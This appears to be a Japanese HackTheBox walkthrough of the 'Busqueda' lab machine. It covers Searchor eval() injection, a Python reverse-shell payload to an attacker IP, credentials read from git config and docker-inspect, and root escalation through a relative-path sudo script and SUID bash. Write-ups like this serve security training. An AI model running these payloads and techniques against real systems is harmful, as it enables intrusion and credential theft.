🍏

【HackTheBox】Busqueda Writeup

2023/08/19に公開

Recon

nmap

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Website

こんな感じのサイトがありました。

サーチエンジンとクエリを指定すると検索のURLが返ってきます。

footerにPowered by Flask and Searchor 2.4.0が書いてありました。調べてみたらSearchorはオープンソースのPythonライブラリーでした(https://github.com/ArjunSharda/Searchor )。

exploitも調べてみたらeval()によるarbitrary code executionができるみたいです(https://security.snyk.io/vuln/SNYK-PYTHON-SEARCHOR-3166303 )。
そのバグを修正したcommitはこちらです。queryのところにコードをinjectする感じですね。

https://github.com/ArjunSharda/Searchor/commit/29d5b1f28d29d6a282a5e860d456fab2df24a16b

Seachor Command Injection

eval()の挙動を確認してみる

まずはpythonのeval()関数の動きを検証します。
カンマでコードを繋げると実行できます。

>>> payload = f"print('aaa'),print('bbb'),print('ccc')"
>>> eval(payload)
aaa
bbb
ccc
(None, None, None)

実行したくないところはコメントアウトできます。

>>> payload = f"print('aaa'),print('bbb') #,print('ccc')"
>>> eval(payload)
aaa
bbb
(None, None)

payloadを作っていく

injectionのターゲット
eval(f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})")

payloadが'),print('test') #commentの時、実行されるコードがこんな感じになるはずです。

payloadの例
eval(f"Engine.{engine}.search(''),print('test') #comment', copy_url={copy}, open_web={open})")
# コメントアウトの部分は無視されるので、実際実行されるのはこれ↓
# eval(f"Engine.{engine}.search(''),print('test')")

burpでpayloadを送ってみると想定通りの結果が返ってきました。これでRCEの確認ができました。
意外とurl encodingとかしなくてもいけました。

違うpayloadも送ってみます。これでlistenerに届きました。

'),__import__('os').system('nc 10.10.14.4 9001') #comment

eval()はexpressionしか実行できないので、import osみたいなstatementは書けません

payloadを変えてrev shellを取りたいと思います。
__import__('os').system()の中にいくつかのpayloadを入れて試しましたが、うまく行かなかったです。このウェブサイトはpythonで書かれているので、pythonのpayloadを試したいと思います。

いつも使ってるreverse shell generator(https://www.revshells.com/ )のpython payloadはexpressionになっていないので、exec()関数に入れて実行します。

'),exec('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")') #comment

これでrev shellが取れました。

Shell as SVC

user flagゲットです。

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.208] 41022
svc@busqueda:/var/www/app$ id
uid=1000(svc) gid=1000(svc) groups=1000(svc)
svc@busqueda:/var/www/app$ cat /home/svc/user.txt

Recon

svcのディレクトリーに.gitconfigがありました。

/home/svc/.gitconfig
[user]
        email = cody@searcher.htb
        name = cody
[core]
        hooksPath = no-hooks

git repoを探してみます。2つ見つけました。

svc@busqueda:~$ find / -type d -name ".git" 2>/dev/null
/var/www/app/.git
/opt/scripts/.git

/opt/scripts/は権限がなくて見れませんでした。中のスクリプトが気になります。

svc@busqueda:/opt/scripts$ ls -la
drwxr-xr-x 3 root root 4096 Dec 24  2022 .
drwxr-xr-x 4 root root 4096 Mar  1 10:46 ..
-rwx--x--x 1 root root  586 Dec 24  2022 check-ports.py
-rwx--x--x 1 root root  857 Dec 24  2022 full-checkup.sh
drwxr-x--- 8 root root 4096 Apr  3 15:04 .git
-rwx--x--x 1 root root 3346 Dec 24  2022 install-flask.sh
-rwx--x--x 1 root root 1903 Dec 24  2022 system-checkup.py

/var/www/app/.gitの中のconfigをみてみたら、giteaのcredentailsがありました。gitea.searcher.htbというサブドメインも発見しました。

/var/www/app/.git/config(一部)
[remote "origin"]
        url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
        fetch = +refs/heads/*:refs/remotes/origin/*

/etc/hostsも見てみます。やはり同じサブドメインがありました。

/etc/hosts
127.0.0.1 localhost
127.0.1.1 busqueda searcher.htb gitea.searcher.htb

ではgitea.searcher.htb/etc/hostsに入れてアクセス、ログインしてみます。

giteaにはadministratorというもう一人のユーザーがいます。これ以上の情報が特になかったです。
password reuseをチェックしたら、jh1usoih2bkjaspwe92はsvcのパスワードだとわかりました。ではsudo -lをみてみます。

svc@busqueda:/var/www/app/.git$ sudo -l
[sudo] password for svc: jh1usoih2bkjaspwe92

Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

/usr/bin/python3 /opt/scripts/system-checkup.py *で権限昇格するでしょう。

Sudo Exploit

コマンドを実行すると、descriptionが出てきました。できるアクションは3種類あります。一つずつ確認していきます。

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

docker-psはコンテナの情報を出しているだけです。

CONTAINER ID   IMAGE                COMMAND                  CREATED        STATUS       PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   7 months ago   Up 5 hours   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   7 months ago   Up 5 hours   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db

docker-inspectでgiteaのコンテナをみてみたら、環境変数にcredentailsがありました。credentailsの使い道があるかもしれませんが、いったんsystem-checkup.pyの機能を全部確認したいと思います。

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='{{json .Config}}' 960873171e2e | jq
{
  [...snip...]
  "Env": [
    "USER_UID=115",
    "USER_GID=121",
    "GITEA__database__DB_TYPE=mysql",
    "GITEA__database__HOST=db:3306",
    "GITEA__database__NAME=gitea",
    "GITEA__database__USER=gitea",
    "GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
  ],
  }

full-checkupがなぜかエラーになります。

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong

/opt/scriptsfull-checkup.shというファイルがあったので、そのディレクトリーに移動してコマンドを実行してみます。

svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[=] Docker conteainers
{
  "/gitea": "running"
}
{
  "/mysql_db": "running"
}
[...snip...]

問題なく実行できました。
full-checkup.shがあるディレクトリーでしか実行できないっぽいです。これはソースコードの中で相対パスが使われているかもしれないですね。
svcのディレクトリーにfull-checkup.shを作って、そこでコマンドを実行してみます。

/home/svc/full-checkup.sh
#!/bin/bash
id

実行してみるとidが出力されました。

svc@busqueda:~$ chmod +x full-checkup.sh 
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
uid=0(root) gid=0(root) groups=0(root)

[+] Done!

ではbashにSUIDをつけます。

/home/svc/full-checkup.sh
#!/bin/bash

chmod +s /bin/bash

Shell as Root

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

[+] Done!
svc@busqueda:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 Jan  6  2022 /bin/bash
svc@busqueda:~$ bash -p
bash-5.1# cat /root/root.txt

root flagが取れました!

full-checkup.sh Source Code

rootでsystem-checkup.pyの中身を見てみました。やはり相対パスが問題でした。

/opt/scripts/system-checkup.py
[...snip...]

def process_action(action):
    [...snip...]   
    elif action == 'full-checkup':
        try:
            arg_list = ['./full-checkup.sh']
            print(run_command(arg_list))
            print('[+] Done!')
        except:
            print('Something went wrong')      

Memo

command injectionのpayloadを作るところが面白かったです。
easy boxの中でもかなりシンプルな方だったかな、、?

Gitea Login as Administrator

結局最後までdocker-inspectで出てきたcredentialsを使いませんでしたが、
IppSecさんの動画から、それがadministratorのgiteaログイン情報だったことがわかりましたのでメモします。

administrator:yuiu1hoiu4i5ho1uhでログインするとscriptsのrepoが見れます。ここから相対パスでexploitできることがわかります。

Discussion